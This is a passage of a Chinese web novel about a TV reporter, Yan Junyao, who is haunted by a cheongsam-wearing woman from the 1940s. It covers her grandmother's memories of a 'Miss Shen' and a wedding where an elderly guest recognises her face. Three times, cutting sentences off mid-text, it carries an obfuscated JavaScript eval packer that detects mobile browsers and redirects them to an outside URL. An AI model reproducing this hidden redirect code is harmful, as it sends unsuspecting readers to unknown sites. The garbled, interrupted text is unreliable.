一时情绪激动说了她。甚至还安慰她,让她不用担心,因为这件事情目前只有他知道,回去之后不会有人嚼她舌根。 颜珺瑶有点纳闷,王主任不仅亲自打电话来通知她,居然还道歉了。 孟可馨还是有手腕的。 洗完澡,躺到床上,收到了许修远的回复。 【客气。】 * 颜珺瑶昂首挺胸地重新回到单位,还有一件值得高兴的事,那就是没有了花,也没有了下午茶。 嘿嘿,她可真想给孟可馨打个电话,猛猛夸她一顿。 不过她发现周围的同事都在好奇,今天怎么没人送花,也没有高档的下午茶送过来,一个两个地都过来问她。 看来王主任没有骗她,这件事真的没人知道,他们都还以为她昨天只是临时休息了。 对于他们的问题,颜珺瑶只回答了两个字:“丑拒。” 精神丑陋也是丑。 吕嫣听完之后,还要打破砂锅,一直追着她问:“到底有多丑啊,让你这么反感。一到十,打个分呗,让我想象一下。” “负十!” 吕嫣眨巴着眼睛,开始胡说八道:“那看来不是男人,在另一个方向走到极端也是难得,难道是个大美女?” “这样的症状你持续多久了?要不要喝中药调理一下?” 吕嫣会不会去喝中药,颜珺瑶不知道,但她知道,自己该回去拿药了。 家里的几副药都喝完了,爸妈让她再继续喝一段时间。 下午在外面采访的时候,钱艺文给她打电话,嘱咐她晚上记得去外公那里拿药,让他老人家再把把脉,看看药方还要不要调整。 “你可别偷懒,我都跟你外公外婆说好了,外婆菜都买好了。” 回到单位,把稿子赶完,颜珺瑶就骑上小电驴,下了班。 到了外公家里,发现家里有客人。 外婆泡好了茶,朝楼上努了努嘴,让颜珺瑶帮忙端上去。 颜珺瑶“嗯”了一声,接过茶盘,轻手轻脚地上了楼,等看清沙发上坐着的客人时,她的手猛地抖了一下。 居然是许修远的爷爷,许忠林,还有那位宗叔。 * 颜珺瑶脚步一滞,想起上次他看到自己时的反应,有些迟疑。 今天中午吃完饭,师傅就把她单独交出去说话,先是关心了史大军的事情,而后才十分委婉地跟她说了许家那边的要求。 那就是第二次再过去的时候,希望都是熟人。 虽然她早有预料,但听到这话还是免不了一阵失落。今天下午师傅就过去采访了,她虽然没再跟着去,却在外公这里见到了许忠林。 她有些担心,自己这会儿上去,许忠林会不会像上次那样呢? 抿抿唇,还是走了上去,有些忐忑地朝许忠林和宗叔微笑颔首。 “许老先生,宗叔。” 令颜珺瑶大感意外的是,许忠林这次的反应和第一次截然不同,脸上滑过一瞬的诧异之后,也慈爱地跟颜珺瑶点了点头,笑呵呵地说道:“是颜记者啊,真是巧!” 外公钱伟诚很是吃惊,自己的外孙女和许忠林居然认识。 “没想到颜小姐是钱先生的外孙女啊,真是人才辈出!” 颜珺瑶及时跟外公解释道:“我之前有幸采访过许老先生。” 钱伟诚笑了笑,原来这样啊! 他知道许忠林是商界的名人,自己的外孙女能采访到他,说明小丫头现在应该工作地还不错。 许忠林象征性地夸赞了一句:“颜小姐是一位十分优秀的新闻媒体工作者。” “……” 颜珺瑶不自在地待在一旁,想走但又觉得有点不合适,只好给许忠林倒了一杯茶。 在伸手要递过去的须臾之间,眼前突然闪现一幅画面。 一只手将手中的热茶泼向了许忠林,而那只手她很熟悉,是她自己的手。 因为她昨天心情大好,刚给自己涂了淡粉色的护甲油。 27. 第 27 章 颜珺瑶浑身一颤,狠狠闭了下眼,手一抖,茶水漾出,把自己给烫到了。 在场的其他人一惊,外公正要上前,刚好进来的外婆就快步走了过来,带她去简单处理了一下。 颜珺瑶有些神思恍惚,很快回到会客室。 这时,楼下药铺的店员正好抓好了药,送了过来。 许忠林于是道了谢,起身要走,在站起来的时候却微微一个踉跄,颜珺瑶下意识地快步上前扶了他一把。 许忠林朝她呵呵笑了笑,“多谢!” 颜珺瑶松开了手,跟着外公送许忠林。 * 许忠林在前面一步一步地下楼梯,颜珺瑶走在后面,眼前突然一黑,脑海中莫名出现了许忠林从楼梯上滚下去的画面。 颜珺瑶大骇,下意识伸手想去扶他,脑海里再次晃过一个画面。 那双手,许忠林背后的那双手仍是她的。 看着自己的双手,颜珺瑶止不住颤抖,因为她发现自己心里居然冒出想把许忠林用力往下推的冲动。 她觉得自己肯定是疯了。 她只能死命地咬住下唇,伸手在墙上狠狠地抓挠。 墙壁上顿时出现了好几道长长的痕迹,即使她不习惯留指甲,指甲不长,但她还是感觉到了钻心的疼。 一瞬间,那种喘不上气的感觉又开始冒头了。 颜珺瑶觉得不太舒服,但在长辈面前不敢表现出来,强忍着不适,把许忠林送到楼下。 一到楼下,发现楼下还有一个“意外”。 许修远居然出现在楼下。 惊讶的不仅是颜珺瑶,许忠林也是没想到许修远会特意过来接自己。 他笑呵呵地向众人介绍了许修远,许修远也十分礼貌地跟在场的人打了招呼。 颜珺瑶觉得许修远今天有点奇怪,似乎对她有些——冷淡,像是第一次见面的感觉,再看一眼许忠林,她突然想到什么。 难道许修远是不希望他的爷爷知道他和自己之前就认识吗? 许家一行人离开之后,外婆注意到颜珺瑶的脸色不好,便赶紧让外公给看了看,发现颜珺瑶并没什么太大的问题,就是元气不足,气血有亏。 老两口很是心疼,觉得外孙女肯定是工作累到了,于是外婆亲自去煎了药,看着颜珺瑶喝下。 喝完药之后,颜珺瑶的状态有所缓和,呼吸也顺畅了,没再出现刚才那种痛苦的感觉。 外公外婆正在客厅有说有笑地看着电视,颜珺瑶从包里拿出了那张照片,放到老两口面前,问他们对这个女人是否有印象。 外公看了一眼,立即就说道:“这——跟你长得很像的啊——” 颜珺瑶笑了笑,解释道:“外公,这不是我,我也不认识,所以我才想问问您和外婆有没有见过。” 外婆老花,戴上老眼镜瞅了好一会儿,“嗯,是挺像我们瑶瑶的,你是从哪里弄来的这张照片?” “是我朋友的,这个照片大概是1940年左右拍的。” 外公笑起来,“你这丫头,1940年我和你外婆都还没出生呢,我也没见过这人。” “那这件旗袍呢?你们小时候有没有见过什么长辈特别喜欢穿旗袍的呢?” 外公皱了皱眉,想了想,还是摇头,“没有,那个年代只有大户人家才会穿这么好的料子做的旗袍。” 这时,一旁的外婆突然说话了,“这——” 颜珺瑶眼睛一亮,忙搂住外婆的胳膊说道:“外婆,您见过这个人或是这件旗袍吗?” 她怎么就给忘了,外婆的母亲在结婚之前也是大户人家的小姐,还上过西式学堂,虽然最后家道中落,但到底曾经风光过,肯定认识不少上流社会的人。 “鸿锦时装公司——”外婆喃喃,“啊,你外太婆好像有这家店的衣服。” 说完,就起身进了屋。 颜珺瑶心头雀跃,踢踏踢踏地跟了进去。 外婆从衣柜的最里头抱出了一个木箱子,又从抽屉里找出了一串钥匙。 颜珺瑶好奇,“外婆,这里头——是什么啊?” 外婆将其中一把黄铜钥匙插进锁孔,“这里头是你外太婆年轻时的衣服,她走的时候我舍不得烧,就留了一部分下来做个念想。” 箱子打开了,里面整整齐齐叠放着好些衣服。 颜珺瑶忍不住摸了摸,手感真不错,她对布料不了解,但直觉应该都是很好的料子。 外婆把里头的几件衣服拿了出来,有两件旗袍,还有一件大衣。 最底下的是一件酒红色的旗袍,外婆特意展开给她看。 “你瞧瞧,是不是和照片上的那件款式很像?” 颜珺瑶摸着上面的珍珠,仔细对比了一下款式,还真是一样。 外婆说道:“你刚才那么一说,我就想起来了。你太外婆当年给别人当过家庭老师呢,我记得她曾经跟我说过,她教过一个很漂亮的女人钢琴和英语。那个女人和一个贵公子好上了,最后进门当了姨太太。” “在进门之后就不再学了,她和你外太婆关系还不错,除了学费之外,这两件旗袍也是她特意带你外太婆去店里定做,送给你外太婆的,你外太婆一直很珍惜,都不怎么舍得穿。据说当年这家店特别红火,定做衣服的价格也不是一般人家可以承受的。” 颜珺瑶眼眸几乎发亮,很是激动,觉得外婆说的这个漂亮女人很可能就是许修远和自己一直在找的旗袍女人。 所以是那个女人给外太婆定做了和她自己一样款式的旗袍,只是颜色不同而已。 “那您还记得外太婆有没有说过她叫什么名字呢?” 外婆眯着眼睛想了半晌,“好像是姓沈来着——对,是姓沈,以前有一段时间经常听她念叨什么沈小姐,沈小姐的,所以我就记住了,但全名那是不知道的。” “外婆,你这里有没有外太婆那会儿的照片呢?” 外婆起身从柜子底下抱出了好几本相册,在其中一本终于找到了一张照片。 她轻轻抚摸着照片说道:“这是我三四岁的时候拍的全家福,你看,你外太婆不就穿着刚才那件酒红色的旗袍嘛!” 颜珺瑶接过来一看,确实是。 “外婆,有没有外太婆和这位沈小姐的合影啊?” “那得翻一翻了,这几本相册我都很久没看过了。” 颜珺瑶和外婆一起把几本相册都翻了一遍,没有找到这位沈小姐的身影。 她叹息一声,想了想又问:“外婆,那外太婆有没有日记之类的东西留下来呢?” 外婆见状,不免问道:“宝,你朋友为什么想找这位沈小姐呀?” 颜珺瑶一愣,不知道该怎么解释,只好干干地笑了笑,“外婆,我也不知道,他就是让我帮忙问一问而已。” 外婆叹了口气,“你要是真的想打听,我得去问问你表舅,不知道你舅老爷当年有没有留下来。” 颜珺瑶笑起来,一把抱住外婆的胳膊,“谢谢外婆,你最好了!” * 许忠林和许修远之间的爷孙情,虽然不如颜珺瑶和外婆的那么亲密,那么外化,但许忠林十分满意。 他知道自己的孙子非常孝顺,非常在意他,所以才会特意开车过来接他,这让他如何能不高兴呢! 后座上,许忠林满脸笑意地看着许修远的后脑勺,问道:“小远,你怎么突然过来了?” “下午刚好没什么事,回去的时候听说您来看中医,我就过来看看。” “爷爷的身体好的很,刚才那位老中医都说我身体没什么大问题,很好。对了,你的司机呢?你累了一天,怎么让你自己开车呢?” “是我让他先回去了,我想亲自开车接您回去。”许修远瞥了一眼内视镜,回到刚才的话题,“您怎么突然来看中医了?” 宗叔笑呵呵地接话道:“是我推荐先生来看的,我听说这位老中医很有名,想着给先生瞧一瞧。” 许修远点了点头,没再多问。 回到老宅,晚饭还没吃完,赵敬鸿就过来了。 许忠林放下筷子,笑呵呵地站了起来,带着他上了二楼的会客室,离开前还不忘嘱咐许修远,吃完之后先别急着回去,他有事情要说。 许修远目送爷爷和赵敬鸿的背影上楼,这时,手机滴了一声。 是微信,颜珺瑶发来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977538|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 * 二楼的会客室里。 许忠林不复刚才在许修远面前的轻松惬意,而是一脸的凝重。 “这么些天了,居然没查出来她和那个女人的关系,颜家和钱家似乎都没有出现过这么个人。” 他深深地叹息一声,想到了什么,抬头看向赵敬鸿:“她的生辰八字,你觉得——” 赵敬鸿意味深长地笑了,“她是难得的命格,福寿双全,逢凶化吉,遇难成祥。虽然偶有波折,但这辈子都会十分顺遂。” 许忠林眉头不展,兀自说了一句,“这小丫头,可真是看不出来啊!” 沉默良久,蓦地想到了什么,瞳孔一缩,一把抓住了沙发扶手。 “她——她会不会是那个女人——转世的?” 赵敬鸿沉吟片刻,“目前来看应该不是的,上次上去的时候,我可以肯定那个女人还在房间里。只是——您说她的爷爷以前是木匠?” “对,做了好几十年这个行当,有什么——问题吗?” “现在还不好说,只是以前很多木匠,对于阴阳风水方面都有一定的了解。” “但是没查出来她爷爷会这些,以前家里好像条件不好,要是真有这样的本事,不至于白白浪费,而不用来赚钱。” 赵敬鸿点点头,想起一件事,觉得有必要提醒许忠林。 “许老先生,她们俩的墓多年无人问津,几近荒废。上次我和宗叔虽然去过一趟,但如果——咳,如果以后您方便的话,亲自去祭拜,也许能减少她们的怨气。” * 翌日到了单位,颜珺瑶拿着杯子进茶水间冲咖啡。 昨晚她又梦到了旗袍女人,这次旗袍女人没有喊“君平”,但在梦里却一瞬不瞬,似笑非笑地看着她。 她被吓醒之后,就基本上没怎么睡着了,迷迷糊糊到天亮。 以至于现在她哈欠不断,像霜打的茄子,只能靠咖啡来提神。 刚泡好,迫不及待地来了一小口,猝不及防地被烫到了。 颜珺瑶吸着气回到了座位,趁着王主任还没来,刚趴到桌子上打算闭一会儿眼,师傅江成出现在她身后,轻轻拍了她一下,示意她到外面说话。 上一次师傅这么把她叫出来说话,还是几天前,关于去许家采访的事。 大概是昨天刚见到了许忠林,颜珺瑶心头突地一挑,这次不会又是和许忠林有关吧? 她莫名冒出不好的预感,毕竟自己倒霉也不是一天两天了。 可她也想不到,许忠林除了不让她去许家采访之外,还要做什么呢? 无故投诉她?停她的职? 不应该吧,他那样的大人物,自己也没得罪过许家,他不可能会在意她这样一个小记者,以至于做这种不入流的事儿。 即使他曾见过和她相似的一张脸,可自己和许家没有任何关系呀! 到了走廊尽头没人的地方,颜珺瑶咽了咽口水,忐忑地看着师傅,等着他开口。 江成眼带笑意,扬了扬眉,说道:“别紧张,今天是有件事想和你商量一下。” “……师傅,你说——” “昨天去采访,算是完成了任务,不过许老先生昨晚给我打电话,说是打算请我帮他出一本自传,如果愿意的话,他会帮忙跟台里协调。时间还是每周六下午,而且让你也一起去,帮忙做记录。” “……啊——”还真和许忠林有关啊! 颜珺瑶眨眨眼,虽然不知道许忠林为什么突然要出自传,但是她觉得,许忠林突然又愿意让她去许家老宅,大概是因为外公的缘故。 “你回去考虑一下,不用着急回答。” “师傅,我跟你一起去。”颜珺瑶抿抿唇,她不想让师傅为难,也不想让许忠林觉得她是因为介意第一次的事情而拒绝,觉得她气量小。 好吧,其实她心里是有点担心,担心自己要是再出现在老人家面前,他那么大岁数了,会不会被自己吓出什么问题啊? 想了想,她还是将自己的顾虑告诉了师傅。 江成说她多虑了,许忠林会主动开口让她去,就说明不会的。 “放心吧!” 28. 第 28 章 乐梦西餐厅里,音乐悠扬,暖调灯光与银质餐具的冷光交织,如梦似幻,静谧雅致。 落地窗外绿植浮动,阳光跃然,在藤蔓缝隙间拓下细碎斑驳。 许修远的视线从窗外快速滑过,看向对面的人,左心玥。 确切地说,是今天的相亲对象。 左心玥放下餐巾,对上许修远的视线,莞尔一笑。 但她心里其实有些担心,自己刚才是不是说的太多,显得太健谈了? 而对面的许修远,虽然并不算寡言少语,而且全程都很客气礼貌地回应她的话题,不让她尴尬,但她能感觉出来,也许他并不是很喜欢今天这顿午饭。 许修远算是她目前为止接触到的最优秀的男生之一,不过—— 她在心里暗暗叹气,顺其自然吧! 结束午餐,离开西餐厅,许修远开车送左心玥回家。 左心玥住在市中心一处闹中取静的高档小区,周边配套设施十分齐全,生活非常便利。 车子右拐,驶入另一条路,小区就在前面不远处,而对面就有一座大型商场。 今天商场应该是有活动,在外面搭了舞台,还有主持人在上面主持,甚至还有电视台来采访—— 许修远迅速一瞥,想到了什么,又回头瞧了一眼。 距离有些远了,而且马路边上的树也遮挡了视线,看不清楚。 左心玥注意到他的动作,顺着他的视线看过去,想了想,“这个商场经常有这样的促销活动,周边其他普通小区的很多人都会过来凑热闹,哎——” 话音一顿,她又仔细看了看,无奈地摇了摇头,兀自说道:“好像还打起来了,真是的,至于吗?就几张优惠券而已,太冲动了。” 许修远一愣,下意识又回头看了一眼,场面确实有些混乱。 小区大门就在眼前,左心玥不好意思麻烦许修远送她到楼下,便直接让他停在了外面。 下了车,左心玥迟疑了两秒,又转身对许修远说了一句话。 “许先生,有机会的话,再一起吃个饭,我先回去了!” 话音刚落,她也不等许修远的回答,径直进了小区。 * 车子继续往前,而后掉头,许修远这才看清楚商场这边的情形。 他刚才没有看错,确实是颜珺瑶,还有她的电视台同事。 动手的人应该已经被拉开了,场面算是得到控制。 颜珺瑶正在采访一位满脸怒容的中年女人,对方一边说着,还一边回头用手指着右手边,甚至试图冲过去,被颜珺瑶及时给拉住了。 而中年女人所指的方向,有一个年轻女孩同样一直想要往中年女人那边冲,但被身边人给拽住了,她只能愤怒地指着中年女人喊着什么。 许修远自然是听不清这两人到底在说什么,但左不过就是互相争执,谩骂。下一秒,情况发生了变化。 两个当事人各自甩开拉住她们的人,又冲向对方,扭打在了一起,场面再次混乱起来。 颜珺瑶猝不及防地被中年女人推了一把,直接摔到了地上。 许修远愣了下,但眨眼间就见她立即站了起来,跑过去试图帮忙将两个打架的人拉开。 “……” * 颜珺瑶不是没遇到过打架的场面,但眼下这情况,让她有些傻掉了。 今天自己不是来报道商场活动的吗?怎么突然就—— 变成这样了? 第一次两个当事人被拉开之后,那个中年阿姨见到他们电视台在拍摄,就跑过来拽住她,对着摄像机哭诉。 她只能尽量调和,但她还没安抚好,两个当事人就冲破阻力,撞到了一块,再次扭打起来。 等到最终被拉开,颜珺瑶长舒一口气,呆呆地站在一旁喘着气。 原先以为自己的力气在女生里面已经算是大的,但没想到啊,两位女士在爆发时的力量真惊人啊! 她下意识地抬手摸了下自己的头发,只觉得胳膊在发颤,刚才太用劲儿了。 低头一瞅,手腕上不知道被谁给挠了一把,两道破皮,幸亏没出血。 她深深叹了口气,当记者,不仅是脑力劳动,还是体力劳动。 正感慨着呢,突然在喧闹中似乎听到有人在叫她。 “颜小姐——” 颜珺瑶循声望去,眨了眨眼,下意识道:“许修远——” “颜小姐,你们今天在这儿做采访?”许修远走到她面前,迅速打量了她一番,问了一句废话。 “嗯,这里周年活动,你怎么——你来这儿买东西吗?” 许修远点点头,“嗯,送朋友回家,顺路经过这里,过几天要参加婚礼,进来选个礼物。” “哦,”颜珺瑶不疑有他,突然往左右瞧了瞧,克制着音量,对许修远说道:“那件事,有查到什么新的线索吗?” “暂时还没有。” “哦,别着急,说不定哪天就能知道真相了。”颜珺瑶安慰道,“我觉得我外婆说的那位姓沈的姨太太,应该就是她。等我表舅从外地回来,我就去找找我外太婆留下的日记本,我外婆说外太婆基本上每天都会写日记,应该会有线索的。” 许修远深深地看了她一眼,“谢谢。” “不用说谢谢,毕竟,她也找上我了,我也不能置身事外。” 两人对这个“她”都心照不宣,没有明说。 “对了,”许修远想起一件事,“你的旗袍拿了吗?” “哎呀,”颜珺瑶拍了下脑门,“你这么一说我才想起来,何老师傅给我打过电话,我一直忘了去拿,你的——” 摄像李逸飞扛着机器,从颜珺瑶面前经过,也没去注意她对面的人是谁,边走边说道:“完事了,可以回去了。” 颜珺瑶应了一声,没再往下聊了,笑呵呵地对许修远道:“我先回去了,回头有线索了我再联系你。” * 眨眼间,到了吴以晴的婚礼这天。 颜珺瑶提前请了假,作为伴娘以及闺蜜,婚礼前一天晚上就被吴以晴叫到家里,一直陪在她身边。 婚礼是在酒店办的,双方父母都非常重视,舍得花钱花心思,现场布置地十分盛大隆重,宾客皆欢。 在温暖的灯光下,最美的新娘穿着圣洁的婚纱,穿过繁花簇拥的拱门,走到了新郎面前,在现场所有人的见证下,交换了戒指,亲吻了彼此,空气中仿佛都弥漫着甜蜜的气息。 颜珺瑶站在舞台上,颇为动容,眼底泛起泪意。 她眨了眨眼,想把泪意眨掉,蓦地,她瞪大了眼眸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977539|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看到了谁?许修远? 她怀疑自己被灯光给晃花了眼,又眨了眨眼,再次看向左手边的主桌。 确实是他,居然是他! 以晴的老公和许修远也认识吗? 这可真是巧啊! 前几天在商场外面听他说要参加婚礼,原来就是以晴和白宴的婚礼。 她正疑惑着刚才怎么没注意到他进场,许修远恰好也看向了她,对着她露出笑容。 不过很快,他就收回了视线,转头和身旁的一位老奶奶说话。 仪式结束,颜珺瑶几个伴娘陪着吴以晴回到了酒店房间。 这次婚礼,吴以晴原本只给每个伴娘准备了一套礼服,在得知颜珺瑶特意去找老师傅定做了旗袍之后,就又给每个伴娘多准备了一套旗袍,为的是跟她的每套礼服搭配,不至于一中一西,显得突兀。 换好了礼服,重新回到酒宴现场,开始了敬酒环节。 来到主桌前,双方父母一一给吴以晴和白宴做了介绍,白宴父亲着重介绍了许修远以及旁边的那位老奶奶。 站在新娘子身后的颜珺瑶这才知道,原来白宴父亲是许修远的大学教授,之后一直保持着联系,这次也是白宴父亲特意邀请的他。 而那位老奶奶,是真的老奶奶,看起来应该有九十多高寿了,是白宴父亲的堂姨,也就是白宴的姨奶奶。 姨奶奶看到两位新人相当感触,抓着两个年轻人的手轻声嘱咐着,让两人要一直好好的。 颜珺瑶正好奇地盯着姨奶奶看,觉得她真是慈眉善目,而且皮肤特别干净,让人羡慕,想来年轻的时候一定是个大美人。 但很快,她就发现不对劲了。 这位姨奶奶原本正笑意盈盈地拉着吴以晴和白宴说话,倏地就停住了,脸上的笑容迅速消失,一瞬不瞬地看向吴以晴身后。 颜珺瑶:“……” 姨奶奶好像看的是她——吧? 她正要朝老人家扬起嘴角,就看到老人家踉跄地往前走了一步,一旁的许修远及时扶住了她。 “你——你是——” 顷刻间,主桌前所有人的视线都射向了她的脸上。 “……姨奶奶,我叫颜珺瑶——” “姨奶奶——”吴以晴将她拉到身边,让她直接站到老太太面前,笑嘻嘻地介绍道:“她叫颜珺瑶,是我最好的朋友,现在是电视台的记者,可厉害了!” “……呵呵——”颜珺瑶有点想咬手指甲,视线一晃,发现许修远正意味不明地看着她。 一瞬间,她似乎想到了什么,再次将视线落在姨奶奶脸上。 “你叫颜珺瑶,姓颜——”姨奶奶抓起她的手握住,嘴里喃喃:“你是姓颜,太巧了——” 如果不是颜珺瑶站得比较近,估计听不清楚老人家的后半句话。 她下意识瞥向许修远,两人对视一眼,颜珺瑶笑着对姨奶奶说道:“对,我姓颜,颜色的颜。” 就在这时,坐在姨奶奶右手边的左心玥轻轻拍了下老人家的胳膊,低声提醒道:“奶奶,表舅他们还要接着敬酒。” 姨奶奶这才松开了颜珺瑶的手,一行人去到下一桌继续敬酒。 许修远给老人家盛了一碗羹,放到她面前。 “张奶奶,你以前见过——珺瑶吗?” 29. 第 29 章 姨奶奶渐渐回神,摇了摇头,“没见过,就是太像了——” 另一旁的左心玥注意到许修远的话,突然问道:“许先生和颜小姐是朋友?” “嗯。” 左心玥不禁望向不远处,看了一眼那个年轻女人的婀娜背影。 姨奶奶似乎才意识到什么,转头看向许修远。 “小远,她和你有亲——她是你堂妹还是表妹?” 许修远闻言,佯装不知,笑着说道:“她不是我堂妹,也不是表妹,我和她没有血缘关系。” 稍作停顿,又开口道:“张奶奶为什么这么问,是觉得我和她长得有几分相像吗?” 姨奶奶摇头,“不是你,她不是和你长得像——” “奶奶——”左心玥叫了她一声,“许先生都说了,颜小姐是他的朋友。” 她示意了一下那碗被忽略的羹,提醒道:“奶奶您尝一尝这海鲜羹,味道不错,您一定会喜欢的,而且还是许先生亲手为您盛的呢!” * 婚宴进入尾声,最后一道菜上桌没多久,陆陆续续就开始有客人离开。 新人和父母站在宴会厅门口送客,颜珺瑶依旧陪在吴以晴身边。 只是——有点人在,魂不在的感觉。 刚才敬酒到最后,她替以晴喝了一杯酒,白的。 一入口就从喉咙烧到了胃里,之后入席,也因为胃里烧得慌,没吃多少东西。 现在好了,酒劲开始上来了,不仅两颊发烫,而且还犯困。 张熙杰过来找她的时候,注意到她在努力地撑着眼皮,不用问都知道她这是困意上来了。 他有些想笑,这家伙连双眼皮都变深了。 颜珺瑶看到他在努力憋笑,送了他一个白眼。 不一会儿,众人就看到许修远跟着姨奶奶一起往门口走来。 白宴笑呵呵地上前,邀请许修远参加待会儿的afterparty,本以为对方不会答应,毕竟他和许修远接触地不多,没想到他居然点头了。 而一旁的姨奶奶,注意力还是被颜珺瑶给吸引走了。 她再次抓着颜珺瑶的手,又问了一次颜珺瑶的名字。 颜珺瑶强撑着精神头,不厌其烦地又重复了一遍,得到回复之后,姨奶奶似乎突然间陷入了自己的世界中。 * 等到大部分客人都走了之后,吴以晴和白宴就带着留下来的年轻人转场到了酒店十楼,开始了afterparty。 现场提前布置好了,准备了不少点心水果和喝的,甚至在露台还有烧烤。 留下来参加的人都很兴奋,吃吃喝喝,玩玩闹闹,现场气氛非常热闹。 不过颜珺瑶没参与其中,一到了十楼,就找到了一处角落的沙发靠了上去,闭上了眼睛,只觉得耳边吵得很,让她心烦意乱。 站在窗边的许修远,接过白宴递过来的一杯香槟,视线无意识地转向了那处角落,微微敛眸。 她确实和旗袍女人很像,特别是今天的她,一袭修身旗袍,挽着侧发髻,在她刚换了旗袍出现在他面前时,他甚至有一瞬的恍惚,以为自己又身处在老宅三楼的那个房间,看到了那个旗袍女人。 虽然她头上没有簪花,只有一支简单的步摇点缀,但还是莫名让他想起了一句词。 云鬓斜簪,徒要教郎比并看。 她这么鲜活可爱的性格,也许还真的会做出如此俏皮的事来。 不过答案不言而喻,人比花娇。 第一次见到她的时候,虽然确实觉得她和旗袍女人长得很像,但两人的气质却大相径庭。 一个鲜活灵动,一个风流婉转。 可现在他发现,原来颜珺瑶也有如此妩媚的一面。 此时的颜珺瑶脑袋压着胳膊,枕在沙发扶手,半躺着假寐,腰腹上搭着一条薄毯,是刚才吴以晴特意给她拿的。 下一瞬,许修远就见她猛地睁开了眼睛,坐了起来,眼神四处逡巡,最后落定在他身上。 四目相对。 颜珺瑶缓缓地扬起一个柔媚的笑容,从沙发上站了起来,提步就要往许修远的方向走去。 许修远跟着笑了,突然一愣,总觉得颜珺瑶貌似有点不太对劲。 对,是她脸上的笑容,她不太可能会对他露出这样的笑容。 他正思忖着,恰巧这时,张熙杰端着一杯橙汁来到了颜珺瑶面前,拉住了她的胳膊。 “哎,你醒了啊,怎么样,头还晕,还犯困吗?”张熙杰将杯子塞到颜珺瑶手里,“要不要喝点橙汁,解解酒,现榨的。” 颜珺瑶若有所思地看着张熙杰,良久,她反握住他的手腕,表情似乎十足地震惊。 “小杰,你怎么也在这里?” 张熙杰“啧”了一声,嫌弃道:“就你这酒量,以后千万别喝酒了,瞧瞧你,一杯就醉成这样了。你说我为什么在这里,总不能今天是我结婚吧?” 他抬了抬下巴,示意颜珺瑶手上的杯子,“赶紧喝点,不然明天更难受。” “呵——”颜珺瑶惋惜一笑,将杯子放到了一旁的茶几上,上下眼皮倏地一合,整个人软软地倒了下去。 “哎——”张熙杰大惊,赶紧抱住了她,而后将人放到了沙发上,着急地喊着她的名字。 “珺瑶——珺瑶——哎——” 许修远见状,心头一突,正要往沙发去,颜珺瑶却缓缓地睁开了眼睛。 “张二狗,你吵死了——”说着,颜珺瑶就要转身继续睡,这才发现自己是在狭窄的沙发上,愣怔了好一会儿,才渐渐回过神来,重新坐了起来。 “你吓死我得了,我还以为你怎么了,都要打算打120了,”张熙杰斜晲了她一眼,重新拿起那杯橙汁,“先把这个喝了,都喝完!” “好吧——”颜珺瑶正好也渴了,接过来,咕咚咕咚地把一整杯都喝完了。 张熙杰等她喝完,定定地看着她,眼神中似乎有几分要秋后算账的意思。 “知道你刚才叫我什么不?” “……叫你什么?”颜珺瑶现在的脑袋还有些迷糊,眨了眨眼,“张二狗吗?” “……”张熙杰无奈地瞪她一眼,“这都怪我爷爷,说什么贱名好养活,我被叫了好多年了都!” “嘻嘻,我刚才梦到咱们小时候回老家过暑假,你给我抓了好多知了,我就把它们都放在一个瓶子里,听它们叫唤,可热闹了。我正跟我爷爷奶奶炫耀呢,就被你叫醒了!” 张熙杰哈哈笑起来,“你居然梦到了这些,我还以为你梦到的是小时候过家家,你非要给我当姐姐,还一个劲儿地学我姐,小杰小杰地叫呢!” “……小时候被我妈训了一顿后,我哪里有胆子再这么叫你,嘿嘿!” “……”成,断片了。 张熙杰往露台瞧了瞧,又道:“要不——我先送你回去吧,现在也没什么事了,跟吴以晴说一声?” * 许修远暗暗松了口气,收回了视线,继续和白宴说话。 “你们俩都没吃呢,”左心玥端着一盘肉串出现在许修远和白宴面前,“要不要尝尝,刚烤好的!” 许修远淡淡笑了笑,接过了盘子放到了一旁的桌子上,却没有要尝一口的打算。 白宴见状,赶紧从中拿起了一串,夸赞道:“没想到表姐厨艺那么好,烤串也很厉害!” 左心玥低低地笑了起来,“你可夸错了,这不是我烤的,不敢冒功。” 她瞥了一眼角落的沙发,视线从许修远身上滑过,看向白宴。 “刚才听以晴说,颜小姐替她喝了一杯酒,有些醉了,她身边那个男生——是?” “啊,”白宴清了清嗓子,“那是张熙杰,他和珺瑶从小一块儿长大的。” 左心玥眼尾微挑,“青梅竹马啊,真让人羡慕,哎,他们这是要先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983970|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了?” “我去送送,你们先聊——”白宴说着就要过去,却听到许修远说了一句。 “我也先回去了。” * 张熙杰不放心颜珺瑶一个人,把她送回了她爸妈那里。 